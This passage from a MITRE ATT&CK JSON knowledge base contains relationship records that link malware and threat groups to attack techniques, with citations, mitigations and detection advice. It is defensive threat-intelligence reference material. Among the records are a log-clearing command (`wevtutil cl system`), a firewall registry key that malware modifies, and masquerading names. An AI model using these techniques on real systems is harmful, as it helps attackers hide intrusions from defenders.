[TrickBot](https://attack.mitre.org/software/S0266), using task names to appear legitimate such as WinDotNet, GoogleTask, or Sysnetsf.(Citation: CrowdStrike Grim Spider May 2019) It has also used common document file names for other malware binaries.(Citation: FireEye KEGTAP SINGLEMALT October 2020)","relationship_type":"uses","source_ref":"intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e559e10-483a-42ca-8ddf-d8ca04ed8bd2","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT BADCALL","description":"US-CERT. (2018, February 06). Malware Analysis Report (MAR) - 10135536-G. Retrieved June 7, 2018.","url":"https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-G.PDF"}],"modified":"2020-03-27T20:35:51.596Z","description":"[BADCALL](https://attack.mitre.org/software/S0245) modifies the firewall Registry key SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfileGloballyOpenPorts\\\\List.(Citation: US-CERT BADCALL)","relationship_type":"uses","source_ref":"malware--9dbdadb6-fdbf-490f-a35f-38762d06a0d2","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7e55e411-230e-4d1a-a780-d07784ed2cd6","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T20:24:37.598Z","description":"[Mis-Type](https://attack.mitre.org/software/S0084) may create a temporary user on the system named `Lost_{Unique Identifier}`.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61","target_ref":"attack-pattern--635cbe30-392d-4e27-978e-66774357c762","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7e57b3e4-207c-4ef0-89bb-dc062fcad62e","created":"2024-02-21T19:31:04.981Z","revoked":false,"external_references":[{"source_name":"BushidoToken Akira 2023","description":"Will Thomas. (2023, September 15). Tracking Adversaries: Akira, another descendent of Conti. Retrieved February 21, 2024.","url":"https://blog.bushidotoken.net/2023/09/tracking-adversaries-akira-another.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-21T19:31:04.981Z","description":"[Akira](https://attack.mitre.org/groups/G1024) engages in double-extortion ransomware, exfiltrating files then encrypting them, in order to prompt victims to pay a ransom.(Citation: BushidoToken Akira 2023)","relationship_type":"uses","source_ref":"intrusion-set--46bb06cb-f2d9-4b37-8c92-a27e224ad90d","target_ref":"attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7e588158-1962-42d4-b836-0a2c764fdc5e","created":"2021-12-02T15:20:09.415Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos TinyTurla September 2021","url":"https://blog.talosintelligence.com/2021/09/tinyturla.html","description":"Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[TinyTurla](https://attack.mitre.org/software/S0668) has mimicked an existing Windows service by being installed as Windows Time Service.(Citation: Talos TinyTurla September 2021)","modified":"2022-04-16T21:17:10.117Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--2a7c1bb7-cd12-456e-810d-ab3bf8457bab","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e5e2fd3-cab4-4853-81ad-9bf50e1390bd","type":"relationship","created":"2020-01-30T16:36:51.559Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-08-31T19:55:02.860Z","description":"Do not allow a domain user to be in the local administrator group on multiple systems.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--e624264c-033a-424d-9fd7-fc9c3bbdb03e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7e62327c-aa58-4ce9-8519-c4bedbd57b80","created":"2021-01-08T20:34:27.150Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye NETWIRE March 2019","description":"Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021.","url":"https://www.mandiant.com/resources/blog/dissecting-netwire-phishing-campaigns-usage-process-hollowing"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-13T18:16:43.582Z","description":"[NETWIRE](https://attack.mitre.org/software/S0198) can capture session logon details from a compromised host.(Citation: FireEye NETWIRE March 2019)","relationship_type":"uses","source_ref":"malware--2a70812b-f1ef-44db-8578-a496a227aef2","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e636340-8b64-4913-be75-a8e62f68fc91","type":"relationship","created":"2020-03-18T13:34:21.144Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT35 2018","description":"Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.","url":"https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf"}],"modified":"2020-03-18T13:34:21.145Z","description":"[Magic Hound](https://attack.mitre.org/groups/G0059) granted compromised email accounts read access to the email boxes of additional targeted accounts. The group then was able to authenticate to the intended victim's OWA (Outlook Web Access) portal and read hundreds of email communications for information on Middle East organizations.(Citation: FireEye APT35 2018) ","relationship_type":"uses","source_ref":"intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13","target_ref":"attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7e6700e2-4a06-4583-933b-53d3a2761af7","created":"2022-07-29T19:50:26.963Z","x_mitre_version":"0.1","external_references":[{"source_name":"Trustwave Pillowmint June 2020","url":"https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/","description":"Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7’s Monkey Thief . Retrieved July 27, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Pillowmint](https://attack.mitre.org/software/S0517) can uninstall the malicious service from an infected machine.(Citation: Trustwave Pillowmint June 2020)","modified":"2022-07-29T19:50:26.963Z","relationship_type":"uses","source_ref":"malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e6827aa-fd5f-4c32-b06e-60e9ee71bd53","type":"relationship","created":"2022-03-25T14:58:24.950Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"modified":"2022-03-25T14:58:24.950Z","description":"[Flagpro](https://attack.mitre.org/software/S0696) has relied on users clicking a malicious attachment delivered through spearphishing.(Citation: NTT Security Flagpro new December 2021)","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e6995cc-c917-4ac7-84e1-5dbf661f29cd","type":"relationship","created":"2020-11-20T20:11:15.212Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Machete Aug 2014","url":"https://securelist.com/el-machete/66108/","description":"Kaspersky Global Research and Analysis Team. (2014, August 20). El Machete. Retrieved September 13, 2019."},{"description":"The Cylance Threat Research Team. (2017, March 22). El Machete's Malware Attacks Cut Through LATAM. Retrieved September 13, 2019.","url":"https://threatvector.cylance.com/en_us/home/el-machete-malware-attacks-cut-through-latam.html","source_name":"Cylance Machete Mar 2017"}],"modified":"2020-11-20T20:11:15.212Z","description":"[Machete](https://attack.mitre.org/software/S0409) used the startup folder for persistence.(Citation: Securelist Machete Aug 2014)(Citation: Cylance Machete Mar 2017)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e6e46e1-6990-4d37-87cb-9ef6a488a8a1","type":"relationship","created":"2020-06-11T16:28:58.270Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Telebots July 2017","url":"https://www.welivesecurity.com/2017/07/04/analysis-of-telebots-cunning-backdoor/","description":"Cherepanov, A.. (2017, July 4). Analysis of TeleBots’ cunning backdoor . Retrieved June 11, 2020."}],"modified":"2020-06-22T15:45:19.240Z","description":"[Sandworm Team](https://attack.mitre.org/groups/G0034) used malware to enumerate email settings, including usernames and passwords, from the M.E.Doc application.(Citation: ESET Telebots July 2017)\t","relationship_type":"uses","source_ref":"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192","target_ref":"attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7e6ebf2b-26f1-4bba-8f7e-619ffb14a649","created":"2022-04-11T00:42:59.344Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWizard](https://attack.mitre.org/software/S0698) has the ability to use `wevtutil cl system` to clear event logs.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-11T00:42:59.344Z","relationship_type":"uses","source_ref":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7e7479b9-57c6-4c40-898b-3c590e93d6f1","created":"2023-05-17T19:50:20.641Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-05-17T19:50:20.641Z","description":"[KOPILUWAK](https://attack.mitre.org/software/S1075) can use [netstat](https://attack.mitre.org/software/S0104) and [Net](https://attack.mitre.org/software/S0039) to discover network shares.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--09fcc02f-f9d4-43fa-8609-5e5e186b7103","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e7c0aa8-a17e-4079-b1fd-188977cf1a6e","type":"relationship","created":"2020-05-13T19:59:39.312Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky MoleRATs April 2019","url":"https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/","description":"GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020."}],"modified":"2020-05-13T19:59:39.312Z","description":"[DustySky](https://attack.mitre.org/software/S0062) created folders in temp directories to host collected files before exfiltration.(Citation: Kaspersky MoleRATs April 2019)","relationship_type":"uses","source_ref":"malware--687c23e4-4e25-4ee7-a870-c5e002511f54","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--7e7d5934-0e0d-4d9e-89d8-279bc05a6f77","created":"2019-09-24T12:59:58.592Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos ZxShell Oct 2014","description":"Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. Retrieved September 24, 2019.","url":"https://blogs.cisco.com/security/talos/opening-zxshell"},{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.531Z","description":"[ZxShell](https://attack.mitre.org/software/S0412) can delete files from the system.(Citation: FireEye APT41 Aug 2019)(Citation: Talos ZxShell Oct 2014) ","relationship_type":"uses","source_ref":"malware--cfc75b0d-e579-40ae-ad07-a1ce00d49a6c","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e7d5aa9-6860-44fe-88b9-22a6b36162e2","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"},{"source_name":"Volexity Ocean Lotus November 2020","url":"https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/","description":"Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."}],"modified":"2020-11-24T21:27:53.722Z","description":"[APT32](https://attack.mitre.org/groups/G0050) has renamed a NetCat binary to kb-10233.exe to masquerade as a Windows update. [APT32](https://attack.mitre.org/groups/G0050) has also renamed a Cobalt Strike beacon payload to install_flashplayers.exe. (Citation: Cybereason Cobalt Kitty 2017)(Citation: Volexity Ocean Lotus November 2020)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e80ade6-a566-4e2b-b2e4-021f9dd6889a","type":"relationship","created":"2020-05-05T17:07:33.295Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-05T17:07:33.295Z","description":"[Rifdoor](https://attack.mitre.org/software/S0433) has encrypted command and control (C2) communications with a stream cipher.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--44c75271-0e4d-496f-ae0a-a6d883a42a65","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e80cb17-5630-4ff3-bfea-5c5f3a408c5d","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor for changes made to drive letters or mount points of data storage devices for attempts to read to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock.","source_ref":"x-mitre-data-component--4dcd8ba3-2075-4f8b-941e-39884ffaac08","target_ref":"attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e8101ce-f787-45f7-a593-62b664fbe08d","type":"relationship","created":"2019-03-25T15:05:23.639Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.","url":"https://blog.talosintelligence.com/2018/02/olympic-destroyer.html","source_name":"Talos Olympic Destroyer 2018"}],"modified":"2020-03-20T18:59:00.643Z","description":"[Olympic Destroyer](https://attack.mitre.org/software/S0365) attempts to copy itself to remote machines on the network.(Citation: Talos Olympic Destroyer 2018)","relationship_type":"uses","source_ref":"malware--3249e92a-870b-426d-8790-ba311c1abfb4","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e8293be-b9d6-4a27-8d49-216f17df3bd0","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Calisto July 2018","description":"Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.","url":"https://securelist.com/calisto-trojan-for-macos/86543/"}],"modified":"2020-01-17T19:33:18.059Z","description":"[Calisto](https://attack.mitre.org/software/S0274) can collect data from user directories.(Citation: Securelist Calisto July 2018)","relationship_type":"uses","source_ref":"malware--b8fdef82-d2cf-4948-8949-6466357b1be1","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7e834bba-4d5d-47b6-b689-b905eba66c0d","created":"2022-03-21T17:46:37.337Z","x_mitre_version":"1.0","external_references":[{"source_name":"Microsoft NICKEL December 2021","url":"https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe","description":"MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Ke3chang](https://attack.mitre.org/groups/G0004) has compromised networks by exploiting Internet-facing applications, including vulnerable Microsoft Exchange and SharePoint servers.(Citation: Microsoft NICKEL December 2021)","modified":"2022-04-19T17:07:05.018Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e836d44-0047-4192-81fd-6fb8ff0cdbda","type":"relationship","created":"2021-05-10T23:54:35.985Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mcafee Clop Aug 2019","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/clop-ransomware/","description":"Mundo, A. (2019, August 1). Clop Ransomware. Retrieved May 10, 2021."}],"modified":"2021-10-15T00:18:17.800Z","description":"[Clop](https://attack.mitre.org/software/S0611) has searched folders and subfolders for files to encrypt.(Citation: Mcafee Clop Aug 2019)","relationship_type":"uses","source_ref":"malware--cad3ba95-8c89-4146-ab10-08daa813f9de","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e860d9b-29fd-4acf-b624-076a0c60b9df","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-08-17T14:37:43.896Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) gathers information on the IP forwarding table, MAC address, configured proxy, and network SSID.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e8ca453-aee5-48c1-a891-f44a742a95ed","type":"relationship","created":"2019-07-17T15:45:37.493Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-07-20T23:03:00.795Z","description":"Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--7e90117e-0a1b-4320-9b37-54e070c3dc49","type":"relationship","created":"2019-05-14T16:58:13.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf","source_name":"Kaspersky StoneDrill 2017"}],"modified":"2019-06-07T20:52:37.053Z","description":"[StoneDrill](https://attack.mitre.org/software/S0380) can check for antivirus and antimalware programs.(Citation: Kaspersky StoneDrill 2017)\t","relationship_type":"uses","source_ref":"malware--8dbadf80-468c-4a62-b817-4e4d8b606887","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7e9168ae-f0dd-4223-bc4b-9f94b08f99ac","created":"2022-08-02T15:52:24.515Z","x_mitre_version":"0.1","external_references":[{"source_name":"CISA AR18-352A Quasar RAT December 2018","url":"https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A","description":"CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[QuasarRAT](https://attack.mitre.org/software/S0262) can use TCP for C2 communication.(Citation: CISA AR18-352A Quasar RAT December 2018)","modified":"2022-08-02T15:52:24.515Z","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--7e93778d-1f69-4705-b544-b0e80d889267","created":"2022-06-02T12:32:30.329Z","x_mitre_version":"0.1","external_references":[{"source_name":"Cisco Talos Bitter Bangladesh May 2022","url":"https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html","description":"Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[ZxxZ](https://attack.mitre.org/software/S1013) has relied on victims to open a malicious attachment delivered via email.(Citation: Cisco Talos Bitter Bangladesh May 